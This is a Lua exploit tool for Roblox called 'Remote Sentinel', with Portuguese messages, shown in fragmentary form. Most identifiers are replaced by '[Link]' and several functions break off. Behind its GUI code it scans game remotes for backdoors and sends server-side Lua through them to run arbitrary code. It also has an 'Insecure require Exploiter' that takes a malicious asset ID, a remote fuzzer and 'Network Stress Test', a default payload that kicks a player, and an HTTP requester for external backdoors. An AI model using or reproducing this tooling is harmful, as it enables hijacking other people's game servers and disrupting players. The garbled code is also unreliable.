Message
Message
local RemoteSentinel = {
Instances = {},
SelectedInstanceData = nil,
Hooks = {},
GUI = {},
IsUISetup = false,
Capabilities = {}
}
[Link] = RemoteSentinel
local Config = {
AppName = "Remote Sentinel v9.0 (FDS - Melhorado com [Link])",
FuzzingDelay = 0.01,
ScanThrottle = 0.001,
SerializerMaxDepth = 10,
MaxLogEntries = 300,
Colors = {
Background = [Link](30, 30, 40),
Primary = [Link](20, 20, 28),
Secondary = [Link](45, 45, 55),
Accent = [Link](110, 90, 230),
TabActive = [Link](85, 65, 165),
Text = [Link](245, 245, 245),
TextSecondary = [Link](200, 200, 220),
Success = [Link](60, 230, 140),
Warning = [Link](255, 180, 90),
Error = [Link](255, 100, 100),
Spy = [Link](0, 230, 255),
Info = [Link](120, 200, 255),
Vulnerable = [Link](250, 60, 60),
Highlight = [Link](255, 255, 140),
}
}
local Dropdown = {}
Dropdown.__index = Dropdown
[Link] = create("Frame", {
Name = name,
Size = [Link](1, 0, 0, 30),
BackgroundColor3 = [Link],
ZIndex = 2,
Parent = parent
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent = [Link]})
[Link] = create("TextLabel", {
Name = "SelectedLabel",
Size = [Link](1, -30, 1, 0),
Text = "Select...",
Font = [Link],
TextSize = 14,
TextColor3 = [Link],
BackgroundTransparency = 1,
TextXAlignment = [Link],
Position = [Link](0, 10, 0, 0),
Parent = [Link]
})
[Link] = create("TextButton", {
Name = "ToggleButton",
Size = [Link](0, 30, 1, 0),
Position = [Link](1, -30, 0, 0),
Text = "▼",
Font = [Link],
TextSize = 14,
TextColor3 = [Link],
BackgroundTransparency = 1,
Parent = [Link]
})
[Link] = create("ScrollingFrame", {
Name = "ItemsFrame",
Size = [Link](1, 0, 0, 0),
Position = [Link](0, 0, 1, 5),
BackgroundColor3 = [Link],
BorderSizePixel = 0,
Visible = false,
ClipsDescendants = true,
ZIndex = 3,
Parent = [Link]
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent = [Link]})
create("UIListLayout", {
SortOrder = [Link],
Padding = [Link](0, 2),
Parent = [Link]
})
[Link] = {}
[Link] = 0
[Link] = false
[Link] = [Link](1, 0, 0, 150)
[Link].MouseButton1Click:Connect(function()
[Link] = not [Link]
[Link] = [Link] and "▲" or "▼"
if [Link] then
[Link] = true
local openTween = animate([Link], [Link](0.2,
[Link], [Link]), {Size = [Link]})
openTween:Play()
else
local closeTween = animate([Link], [Link](0.2,
[Link], [Link]), {Size = [Link](1, 0, 0, 0)})
[Link]:Connect(function()
if not [Link] then
[Link] = false
end
end)
closeTween:Play()
end
end)
return self
end
function Dropdown:SetItems(items)
for _, v in ipairs([Link]:GetChildren()) do
if v:IsA("TextButton") then v:Destroy() end
end
[Link] = items or {}
[Link]:Connect(function() item.BackgroundColor3 =
[Link] end)
[Link]:Connect(function() item.BackgroundColor3 =
[Link] end)
item.MouseButton1Click:Connect(function()
[Link] = text
[Link] = index
[Link] = false
[Link] = "▼"
local closeTween = animate([Link], [Link](0.2,
[Link], [Link]), {Size = [Link](1, 0, 0, 0)})
[Link]:Connect(function() [Link] = false
end)
closeTween:Play()
if [Link] then
pcall([Link], text, index)
end
end)
end
local listLayout = [Link]:FindFirstChildOfClass("UIListLayout")
local numItems = #[Link]
local listPadding = listLayout and [Link] or 0
local totalHeight = (numItems * 25) + ([Link](0, numItems - 1) * listPadding)
[Link] = [Link](1, 0, 0, [Link](totalHeight, 150))
[Link] = [Link](0, 0, 0, totalHeight)
[Link] = { _seenTables = {} }
function [Link]:Serialize(value, depth)
depth = depth or 0
if depth > [Link] then return '"[... (max depth)]"' end
[Link] = {}
function [Link]:Create()
if CoreGui:FindFirstChild("RemoteSentinelGUI_v9") then
CoreGui.RemoteSentinelGUI_v9:Destroy() end
[Link] = [Link](0,0,0,0)
[Link] = [Link](0.5,0,0.5,0)
local entryTween = animate(mainFrame, [Link](0.4,
[Link], [Link]), {
Size = [Link](0, 1200, 0, 800),
Position = [Link](0.5, -600, 0.5, -400)
})
entryTween:Play()
[Link] = true
end
function [Link]:CreateTab(name)
local tabButton = create("TextButton", {
Name = name .. "Tab",
Text = name,
Font = [Link],
TextSize = 14,
BackgroundColor3 = [Link],
TextColor3 = [Link],
AutoButtonColor = false,
Size = [Link](0, 120, 1, 0),
Parent = [Link]
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent = tabButton })
tabButton.MouseButton1Click:Connect(function()
for _, child in ipairs([Link]:GetChildren()) do
if child:IsA("Frame") and [Link] then
[Link] = false
end
end
for _, child in ipairs([Link]:GetChildren()) do
if child:IsA("TextButton") then
local colorTween = animate(child, [Link](0.2),
{ BackgroundColor3 = [Link] })
colorTween:Play()
end
end
[Link] = true
local activeColorTween = animate(tabButton, [Link](0.2),
{ BackgroundColor3 = [Link] })
activeColorTween:Play()
for _, child in ipairs(tabContent:GetChildren()) do
if child:IsA("Frame") or child:IsA("TextBox") or child:IsA("TextLabel")
or child:IsA("TextButton") or child:IsA("ScrollingFrame") then
[Link] = [Link] + [Link](0, 20, 0, 0)
if child:FindFirstChildOfClass("UIGradient") then
child:FindFirstChildOfClass("UIGradient"):Destroy() end
local gradient = create("UIGradient", {
Color = [Link]([Link](1,1,1),
[Link](1,1,1)),
Transparency =
[Link]({[Link](0,1),
[Link](0.5,0), [Link](1,1)}),
Rotation = -90,
Parent = child
})
return tabContent
end
function [Link]:SetupMainTab(tab)
local listColumn = create("Frame", {
Name = "ListColumn",
Size = [Link](0.4, 0, 1, 0),
BackgroundTransparency = 1,
Parent = tab
})
[Link] = create("TextBox", {
Name = "FilterInput",
Size = [Link](1, -10, 0, 30),
Position = [Link](0, 5, 0, 5),
BackgroundColor3 = [Link],
TextColor3 = [Link],
Font = [Link],
TextSize = 14,
PlaceholderText = "Filtrar por nome ou caminho...",
ClearTextOnFocus = false,
Parent = listColumn
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent =
[Link] })
[Link] = create("ScrollingFrame", {
Name = "RemoteListFrame",
Size = [Link](1, -10, 1, -85),
Position = [Link](0, 5, 0, 40),
BackgroundColor3 = [Link],
BorderColor3 = [Link],
CanvasSize = [Link](0, 0, 0, 0),
Parent = listColumn
})
create("UIListLayout", {
Name = "Layout",
Padding = [Link](0, 5),
SortOrder = [Link],
Parent = [Link]
})
[Link] = create("TextButton", {
Name = "RefreshButton",
Size = [Link](1, 0, 1, 0),
BackgroundColor3 = [Link],
Font = [Link],
Text = "Scan All Remotes",
TextColor3 = [Link](1, 1, 1),
TextSize = 14,
Parent = listActionsFrame
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent = [Link]
})
[Link] = create("Frame", {
Name = "DetailFrame",
Size = [Link](1, -10, 0, 150),
Position = [Link](0, 5, 0, 5),
BackgroundColor3 = [Link],
Parent = rightColumn
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent =
[Link] })
create("UIPadding", {
PaddingTop = [Link](0, 5),
PaddingLeft = [Link](0, 5),
PaddingRight = [Link](0, 5),
PaddingBottom = [Link](0, 5),
Parent = [Link]
})
create("UIListLayout", {
Name = "DetailLayout",
Padding = [Link](0, 3),
Parent = [Link]
})
create("TextLabel", {
Name = "TitleLabel",
Text = "Details Panel",
Font = [Link],
TextSize = 16,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
BackgroundTransparency = 1,
Parent = [Link]
})
[Link] = create("ScrollingFrame", {
Name = "LogFrame",
Size = [Link](1, -10, 1, -165),
Position = [Link](0, 5, 0, 160),
BackgroundColor3 = [Link],
BorderColor3 = [Link],
CanvasSize = [Link](0, 0, 0, 0),
Parent = rightColumn
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent = [Link] })
[Link] = create("UIListLayout", {
Name = "LogLayout",
Padding = [Link](0, 3),
SortOrder = [Link],
Parent = [Link]
})
function [Link]:SetupBackdoorTab(tab)
local leftColumn = create("Frame", {
Name = "LeftBackdoor",
Size = [Link](0.4, -5, 1, 0),
Position = [Link](0, 0, 0, 0),
BackgroundTransparency = 1,
Parent = tab
})
create("TextLabel", {
Text = "Backdoor Scanner & Executor",
Font = [Link],
TextSize = 16,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
Position = [Link](0, 0, 0, 5),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = leftColumn
})
[Link] = create("TextButton", {
Name = "BackdoorScanButton",
Text = "Start Dynamic Scan",
Size = [Link](1, 0, 0, 35),
Position = [Link](0, 0, 0, 30),
Font = [Link],
BackgroundColor3 = [Link],
TextColor3 = [Link](1, 1, 1),
Parent = leftColumn
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent =
[Link] })
[Link] = create("TextButton", {
Name = "BackdoorDebugToggle",
Text = "Debug Mode: OFF",
Size = [Link](1, 0, 0, 30),
Position = [Link](0, 0, 0, 70),
Font = [Link],
BackgroundColor3 = [Link],
TextColor3 = [Link],
Parent = leftColumn
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent =
[Link] })
[Link] = create("TextLabel", {
Name = "BackdoorStatusLabel",
Text = "Status: Idle",
Font = [Link],
TextSize = 14,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
Position = [Link](0, 0, 0, 105),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = leftColumn
})
create("TextLabel", {
Text = "Found Backdoors:",
Font = [Link],
TextSize = 14,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
Position = [Link](0, 0, 0, 130),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = leftColumn
})
[Link] = create("ScrollingFrame", {
Name = "BackdoorResultsList",
Size = [Link](1, 0, 1, -155),
Position = [Link](0, 0, 0, 155),
BackgroundColor3 = [Link],
BorderColor3 = [Link],
Parent = leftColumn
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent =
[Link] })
[Link] = create("UIListLayout", {
Padding = [Link](0, 3),
SortOrder = [Link],
Parent = [Link]
})
create("TextLabel", {
Text = "Code Executor",
Font = [Link],
TextSize = 16,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
Position = [Link](0, 0, 0, 5),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = rightColumn
})
[Link] = create("TextBox", {
Name = "BackdoorEditor",
Size = [Link](1, 0, 1, -75),
Position = [Link](0, 0, 0, 30),
BackgroundColor3 = [Link](20, 20, 25),
TextColor3 = [Link],
Font = [Link],
TextSize = 14,
Text = 'print("Hello from backdoor!")',
ClearTextOnFocus = false,
MultiLine = true,
TextXAlignment = [Link],
TextYAlignment = [Link],
PlaceholderText = "Enter Lua code to execute on the server...",
Parent = rightColumn
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent =
[Link] })
[Link] = create("TextButton", {
Name = "BackdoorExecuteButton",
Size = [Link](1, 0, 0, 35),
Position = [Link](0, 0, 1, -35),
Text = "Execute via Backdoor",
Font = [Link],
TextSize = 16,
BackgroundColor3 = [Link],
TextColor3 = [Link](1, 1, 1),
Parent = rightColumn
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent =
[Link] })
end
function [Link]:SetupFuzzerTab(tab)
local leftColumn = create("Frame", {
Name = "LeftFuzzer",
Size = [Link](0.5, -5, 1, 0),
Position = [Link](0, 0, 0, 0),
BackgroundTransparency = 1,
Parent = tab
})
create("TextLabel", {
Text = "Fuzzer Configuration",
Font = [Link],
TextSize = 16,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
Position = [Link](0, 0, 0, 5),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = leftColumn
})
create("TextLabel", {
Text = "Fuzzing Profile:",
Font = [Link],
TextSize = 14,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
Position = [Link](0, 0, 0, 35),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = leftColumn
})
[Link] = create("TextButton", {
Name = "HeuristicToggle",
Size = [Link](0.5, -2.5, 1, 0),
Text = "Heuristics: OFF",
Font = [Link],
BackgroundColor3 = [Link],
TextColor3 = [Link],
Parent = togglesFrame
})
[Link] = create("TextButton", {
Name = "AdaptiveToggle",
Size = [Link](0.5, -2.5, 1, 0),
Text = "Adaptive: OFF",
Font = [Link],
BackgroundColor3 = [Link],
TextColor3 = [Link],
Parent = togglesFrame
})
[Link] = create("TextBox", {
Name = "CustomFuzzInput",
Size = [Link](1, 0, 1, -215),
Position = [Link](0, 0, 0, 135),
BackgroundColor3 = [Link](20, 20, 25),
TextColor3 = [Link],
Font = [Link],
TextSize = 12,
Text = 'return { {[Link]} }',
ClearTextOnFocus = false,
MultiLine = true,
TextXAlignment = [Link],
TextYAlignment = [Link],
PlaceholderText = "Enter Lua code for custom payloads here...",
Parent = leftColumn
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent =
[Link] })
[Link] = create("TextButton", {
Name = "FuzzSelectedButton",
Size = [Link](1, 0, 0, 35),
Position = [Link](0, 0, 1, -75),
Text = "Fuzz Selected Remote",
Font = [Link],
TextSize = 16,
BackgroundColor3 = [Link],
TextColor3 = [Link](1, 1, 1),
Parent = leftColumn
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent =
[Link] })
[Link] = create("TextButton", {
Name = "StressTestButton",
Size = [Link](1, 0, 0, 35),
Position = [Link](0, 0, 1, -35),
Text = "Network Stress Test",
Font = [Link],
TextSize = 16,
BackgroundColor3 = [Link],
TextColor3 = [Link](1, 1, 1),
Parent = leftColumn
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent =
[Link] })
create("TextLabel", {
Text = "Manual Payload Executor",
Font = [Link],
TextSize = 16,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
Position = [Link](0, 0, 0, 5),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = rightColumn
})
[Link] = create("TextBox", {
Name = "ScriptInput",
Size = [Link](1, 0, 1, -40),
Position = [Link](0, 0, 0, 30),
BackgroundColor3 = [Link](20, 20, 25),
TextColor3 = [Link],
Font = [Link],
TextSize = 14,
Text = 'return {"kick", "Player1"}',
ClearTextOnFocus = false,
MultiLine = true,
TextXAlignment = [Link],
TextYAlignment = [Link],
PlaceholderText = "Write Lua code that returns a table of arguments",
Parent = rightColumn
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent =
[Link] })
[Link] = create("TextButton", {
Name = "ExecuteButton",
Size = [Link](1, 0, 0, 35),
Position = [Link](0, 0, 1, -35),
Text = "Execute Payload on Selected Remote",
Font = [Link],
TextSize = 16,
BackgroundColor3 = [Link],
TextColor3 = [Link](1, 1, 1),
Parent = rightColumn
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent = [Link]
})
end
function [Link]:SetupScannerTab(tab)
local leftColumn = create("Frame", {
Name = "LeftScanner",
Size = [Link](0.4, -5, 1, 0),
Position = [Link](0, 0, 0, 0),
BackgroundTransparency = 1,
Parent = tab
})
create("TextLabel", {
Text = "Vulnerability Scanners",
Font = [Link],
TextSize = 16,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
Position = [Link](0, 0, 0, 5),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = leftColumn
})
[Link] = create("TextButton", {
Name = "ScanBackdoor",
Text = "Scan for Common Backdoors",
Size = [Link](1, 0, 0, 35),
Font = [Link],
BackgroundColor3 = [Link],
TextColor3 = [Link](1, 1, 1),
Parent = controlFrame
})
[Link] = create("TextButton", {
Name = "ScanStatic",
Text = "Static Analysis (Client Scripts)",
Size = [Link](1, 0, 0, 35),
Font = [Link],
BackgroundColor3 = [Link],
TextColor3 = [Link](1, 1, 1),
Parent = controlFrame
})
[Link] = create("TextButton", {
Name = "ScanAdmin",
Text = "Scan for Common Admin Systems",
Size = [Link](1, 0, 0, 35),
Font = [Link],
BackgroundColor3 = [Link],
TextColor3 = [Link](1, 1, 1),
Parent = controlFrame
})
[Link] = create("TextButton", {
Name = "ScanInsecure",
Text = "Scan for Insecure Remote Patterns",
Size = [Link](1, 0, 0, 35),
Font = [Link],
BackgroundColor3 = [Link],
TextColor3 = [Link](1, 1, 1),
Parent = controlFrame
})
[Link] = create("TextButton", {
Name = "ScanAntiCheat",
Text = "Scan for Anti-Cheat Patterns",
Size = [Link](1, 0, 0, 35),
Font = [Link],
BackgroundColor3 = [Link],
TextColor3 = [Link](1, 1, 1),
Parent = controlFrame
})
create("TextLabel", {
Text = "Memory & Injection",
Font = [Link],
TextSize = 16,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
Position = [Link](0, 0, 0, 270),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = leftColumn
})
[Link] = create("TextButton", {
Name = "MemoryScan",
Text = "Scan Memory for References",
Size = [Link](1, 0, 0, 35),
Position = [Link](0, 0, 0, 295),
Font = [Link],
BackgroundColor3 = [Link],
TextColor3 = [Link](1, 1, 1),
Parent = leftColumn
})
create("UICorner", {CornerRadius = [Link](0, 8), Parent =
[Link]})
create("TextLabel", {
Text = "Insecure 'require' Exploiter",
Font = [Link],
TextSize = 16,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = requireFrame
})
[Link] = create("TextBox", {
Name = "RequireAssetIdInput",
Text = "",
PlaceholderText = "Malicious Asset ID...",
Size = [Link](1, 0, 0, 30),
Position = [Link](0, 0, 0, 25),
Font = [Link],
BackgroundColor3 = [Link],
TextColor3 = [Link],
Parent = requireFrame
})
create("UICorner", {CornerRadius = [Link](0, 8), Parent =
[Link]})
[Link] = create("TextButton", {
Name = "InjectRequireButton",
Text = "Attempt require() Injection",
Size = [Link](1, 0, 0, 35),
Position = [Link](0, 0, 0, 60),
Font = [Link],
BackgroundColor3 = [Link],
TextColor3 = [Link](1, 1, 1),
Parent = requireFrame
})
create("UICorner", {CornerRadius = [Link](0, 8), Parent =
[Link]})
create("TextLabel", {
Text = "Scan Results / Source Viewer",
Font = [Link],
TextSize = 16,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
Position = [Link](0, 0, 0, 5),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = rightColumn
})
[Link] = create("ScrollingFrame", {
Name = "ScanResults",
Size = [Link](1, 0, 1, -30),
Position = [Link](0, 0, 0, 30),
BackgroundColor3 = [Link],
BorderColor3 = [Link],
Parent = rightColumn
})
create("UIListLayout", {
Name = "Layout",
Padding = [Link](0, 2),
Parent = [Link]
})
create("UICorner", {CornerRadius = [Link](0, 8), Parent =
[Link]})
end
function [Link]:SetupNetworkTab(tab)
create("TextLabel", {
Text = "HTTP Requester (for external backdoors)",
Font = [Link],
TextSize = 16,
TextColor3 = [Link],
Size = [Link](1, -10, 0, 20),
Position = [Link](0, 5, 0, 5),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = tab
})
create("TextLabel", {
Text = "URL:",
Font = [Link],
TextSize = 14,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = leftColumn
})
[Link] = create("TextBox", {
Name = "HttpUrlInput",
Text = "[Link]
Size = [Link](1, 0, 0, 30),
Position = [Link](0, 0, 0, 20),
Font = [Link],
BackgroundColor3 = [Link],
TextColor3 = [Link],
Parent = leftColumn
})
create("TextLabel", {
Text = "Method:",
Font = [Link],
TextSize = 14,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
Position = [Link](0, 0, 0, 55),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = leftColumn
})
[Link] = create("TextButton", {
Name = "SendHttpRequestButton",
Text = "Send HTTP Request",
Size = [Link](1, 0, 0, 40),
Position = [Link](0, 0, 0, 120),
Font = [Link],
BackgroundColor3 = [Link],
TextColor3 = [Link](1, 1, 1),
Parent = leftColumn
})
create("UICorner", {CornerRadius = [Link](0, 8), Parent =
[Link]})
create("TextLabel", {
Text = "Headers (JSON):",
Font = [Link],
TextSize = 14,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = rightColumn
})
[Link] = create("TextBox", {
Name = "HttpHeadersInput",
Text = '{\n "Authorization": "Bearer YOUR_TOKEN",\n "X-Custom-Header":
"Sentinel"\n}',
Size = [Link](1, 0, 0.4, 0),
Position = [Link](0, 0, 0, 20),
Font = [Link],
TextSize = 12,
BackgroundColor3 = [Link],
TextColor3 = [Link],
MultiLine = true,
TextYAlignment = [Link],
TextXAlignment = [Link],
Parent = rightColumn
})
create("TextLabel", {
Text = "Body:",
Font = [Link],
TextSize = 14,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
Position = [Link](0, 0, 0.4, 25),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = rightColumn
})
[Link] = create("TextBox", {
Name = "HttpBodyInput",
Text = '{"data":"Hello from Sentinel"}',
Size = [Link](1, 0, 0.6, -50),
Position = [Link](0, 0, 0.4, 45),
Font = [Link],
TextSize = 12,
BackgroundColor3 = [Link],
TextColor3 = [Link],
MultiLine = true,
TextYAlignment = [Link],
TextXAlignment = [Link],
Parent = rightColumn
})
function [Link]:SetupRecorderTab(tab)
create("TextLabel", {
Text = "Call Recorder & Replayer",
Font = [Link],
TextSize = 16,
TextColor3 = [Link],
Size = [Link](1, -10, 0, 20),
Position = [Link](0, 5, 0, 5),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = tab
})
[Link] = create("TextButton", {
Name = "RecordButton",
Text = "⏺ Start Recording",
Font = [Link],
Size = [Link](0.25, 0, 1, 0),
BackgroundColor3 = [Link],
TextColor3 = [Link],
Parent = controlsFrame
})
[Link] = create("TextButton", {
Name = "ReplayButton",
Text = "▶ Replay All",
Font = [Link],
Size = [Link](0.25, 0, 1, 0),
BackgroundColor3 = [Link],
TextColor3 = [Link](1,1,1),
Parent = controlsFrame
})
[Link] = create("TextButton", {
Name = "ClearRecording",
Text = "Clear",
Font = [Link],
Size = [Link](0.25, 0, 1, 0),
BackgroundColor3 = [Link],
TextColor3 = [Link](1,1,1),
Parent = controlsFrame
})
[Link] = create("ScrollingFrame", {
Name = "RecorderFrame",
Size = [Link](1, -10, 1, -75),
Position = [Link](0, 5, 0, 70),
BackgroundColor3 = [Link],
BorderColor3 = [Link],
Parent = tab
})
create("UIListLayout", {
Name = "Layout",
Padding = [Link](0, 3),
Parent = [Link]
})
create("UICorner", {CornerRadius = [Link](0, 8), Parent =
[Link]})
end
function [Link]:SetupAdvancedTab(tab)
create("TextLabel", {
Text = "Advanced Analysis Tools (Experimental)",
Font = [Link],
TextSize = 16,
TextColor3 = [Link],
Size = [Link](1, -10, 0, 20),
Position = [Link](0, 5, 0, 5),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = tab
})
[Link] = create("TextButton", {
Name = "AnalyzerButton",
Text = "Analyze Logic of Last Successful Fuzz",
Font = [Link],
Size = [Link](1, -10, 0, 35),
Position = [Link](0, 5, 0, 30),
BackgroundColor3 = [Link],
TextColor3 = [Link](1, 1, 1),
Parent = tab
})
create("UICorner", {CornerRadius = [Link](0, 8), Parent =
[Link]})
[Link] = create("ScrollingFrame", {
Name = "AnalyzerResultsFrame",
Size = [Link](1, -10, 1, -75),
Position = [Link](0, 5, 0, 70),
BackgroundColor3 = [Link],
BorderColor3 = [Link],
Parent = tab
})
create("UIListLayout", {
Name = "Layout",
Padding = [Link](0, 3),
Parent = [Link]
})
create("UICorner", {CornerRadius = [Link](0, 8), Parent =
[Link]})
end
[Link] = {}
function [Link]:Log(message, logType)
if not [Link] then
print(message)
return
end
local logData = {
[0] = { P = "[INFO]", C = [Link] },
[1] = { P = "[OK]", C = [Link] },
[2] = { P = "[WARN]", C = [Link] },
[3] = { P = "[ERRO]", C = [Link] },
[4] = { P = "[SPY]", C = [Link] },
[5] = { P = "[VULN]", C = [Link] },
[6] = { P = "[ADAPT]", C = [Link] },
}
[Link]()
if logFrame and [Link] then
[Link] = [Link](0, 0, 0,
[Link].Y)
if [Link] > [Link].Y then
[Link] = [Link](0, [Link] -
[Link].Y)
end
end
end
function [Link]:UpdateStatus(text)
if [Link] then
[Link] = tostring(text)
end
end
function [Link]:ScanInstances()
self:Log("Iniciando varredura por instâncias remotas...", 0)
[Link] = {}
local instanceTypes = {"RemoteEvent", "RemoteFunction", "BindableEvent",
"BindableFunction"}
local servicesToScan = {
ReplicatedStorage,
Workspace,
Players,
game:GetService("Lighting"),
CoreGui,
game:GetService("SoundService"),
game:GetService("TextChatService")
}
function [Link]:PopulateList(forceScan)
local gui = [Link]
local listFrame = [Link]
[Link](function()
if forceScan then
[Link] = false
[Link] = "Verificando..."
self:UpdateStatus("Iniciando varredura completa...")
self:ScanInstances()
[Link] = "Scan All Remotes"
[Link] = true
end
[Link] = [Link]
local children = listFrame:GetChildren()
for _, v in ipairs(children) do
if v:IsA("Frame") then
v:Destroy()
end
end
create("TextLabel", {
Size = [Link](0, 30, 1, 0),
Position = [Link](0, 5, 0, 0),
Text = [Link],
Font = [Link],
TextColor3 = [Link] and [Link] or
[Link],
TextSize = 14,
BackgroundTransparency = 1,
Parent = btn
})
create("TextLabel", {
Size = [Link](1, -40, 1, 0),
Position = [Link](0, 35, 0, 0),
Text = [Link]:GetFullName(),
Font = [Link],
TextColor3 = [Link],
TextSize = 11,
TextXAlignment = [Link],
BackgroundTransparency = 1,
Parent = btn
})
spyButton.MouseButton1Click:Connect(function()
[Link]:ToggleSpy(remoteData)
end)
btn.MouseButton1Click:Connect(function()
[Link] = remoteData
self:Log("Selecionado: " ..
[Link]:GetFullName(), 2)
self:UpdateStatus("Selecionado: " ..
[Link])
[Link]()
if listFrame and [Link] then
[Link] = [Link](0, 0, 0,
[Link].Y)
end
end)
end
function [Link]:UpdateDetailPanel(remoteData)
local frame = [Link]
local children = frame:GetChildren()
for _, v in ipairs(children) do
if not v:IsA("UIListLayout") and not v:IsA("UIPadding") and [Link] ~=
"TitleLabel" then
v:Destroy()
end
end
addDetail("Name", [Link])
addDetail("Class", [Link])
addDetail("Path", [Link]:GetFullName())
addDetail("Parent", [Link] and
[Link]:GetFullName() or "nil")
addDetail("Hooked", tostring([Link]))
end
if [Link]:find("Function") then
if success then
local serializedResult = [Link]:Serialize(result)
self:Log([Link]("Invoke OK (%s) -> %s", duration,
serializedResult), 1)
if callback then
pcall(callback, true, result, args)
end
else
self:Log([Link]("Invoke ERR (%s): %s", duration,
tostring(result)), 3)
if callback then
pcall(callback, false, result, args)
end
end
else
if not success then
self:Log([Link]("Fire ERR (%s): %s", duration,
tostring(result)), 3)
end
if callback then
pcall(callback, success, result, args)
end
end
function [Link]:ExecutePayload()
if not [Link] then
return self:Log("Nenhuma instância selecionada.", 3)
end
self:Log("Disparando " ..
[Link]:GetFullName() .. " com payload
customizado...", 0)
self:UpdateStatus("Disparando payload customizado em " ..
[Link])
self:Execute([Link], payloadArgs)
end
function [Link]:AttemptRequireInjection()
if not [Link] then
return self:Log("Nenhum remote selecionado para injetar o require.", 3)
end
function [Link]:SendHttpRequest()
if not [Link] then
return self:Log("HttpService não está disponível ou habilitado neste
jogo.", 3)
end
local headers = {}
local s, parsed_json = pcall([Link], HttpService, headers_str)
if s and type(parsed_json) == "table" then
headers = parsed_json
else
self:Log("Headers JSON inválidos. Enviando sem headers customizados.", 2)
end
[Link](function()
local success, response = pcall([Link], HttpService, {
Url = url,
Method = method,
Headers = headers,
Body = body
})
if success then
self:Log([Link]("HTTP Response (%d): %s", [Link],
[Link]), [Link] and 1 or 5)
self:Log("Body: " .. [Link]:sub(1, 800), 0)
else
self:Log("Falha na requisição HTTP: " .. tostring(response), 3)
end
end)
end
[Link] = {}
do
local BackdoorRunner = [Link]
[Link] = false
[Link] = false
[Link] = false
[Link] = nil
local BACKDOOR_SOLVER = {}
local BACKDOOR_FILTER = {}
local URSTRING_TO_BACKDOOR = {}
local ALPHABET = {
"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o",
"p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z",
"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O",
"P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z",
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9"
}
local EXEC_DEBUG = [[
local BEXE_stdout = {};
local print = function(...) [Link](BEXE_stdout, { value = {...} });
end;
local warn = function(...) [Link](BEXE_stdout, { warn = true, value =
{...} }); end;
local int, err = pcall(function() %s end);
local BEXE = [Link]("BoolValue");
[Link] = "%s";
[Link] = int;
if not int then BEXE:SetAttribute("err", err); end;
if #BEXE_stdout > 0 then BEXE:SetAttribute("stdout",
game:GetService("HttpService"):JSONEncode(BEXE_stdout)); end;
[Link] = workspace;
game:GetService("Debris"):AddItem(BEXE, 3);
]]
BACKDOOR_SOLVER[1] = {
makeDummy = function(r, dummyName)
local src = ('local d = [Link]("BoolValue", workspace);[Link] =
"%s";game:GetService("Debris"):AddItem(d, 3);'):format(dummyName)
runRemote(r, src)
end,
Execute = function(g, code)
return runRemote(g.b, code)
end
}
BACKDOOR_FILTER[1] = function(r)
return r:IsA("RemoteEvent") or r:IsA("RemoteFunction")
end;
BACKDOOR_FILTER[2] = function(r)
return not (([Link] == ReplicatedStorage and
r:FindFirstChild("__FUNCTION")) or ([Link] == "__FUNCTION" and
[Link]:IsA("RemoteEvent") and [Link] == ReplicatedStorage))
end
BACKDOOR_FILTER[3] = function(r)
local Parent = tostring([Link] and [Link])
return not (Parent == "HDAdminClient")
end
function BackdoorRunner:_internal_scan(remotes)
local Core = [Link]
local GUI = [Link]
[Link](function()
for i, r in ipairs(remotes) do
if not [Link] then break end
for j, s in ipairs(BACKDOOR_SOLVER) do
local g = makeGateway(r, s)
local dummyName = urString(5, Workspace) .. i .. j
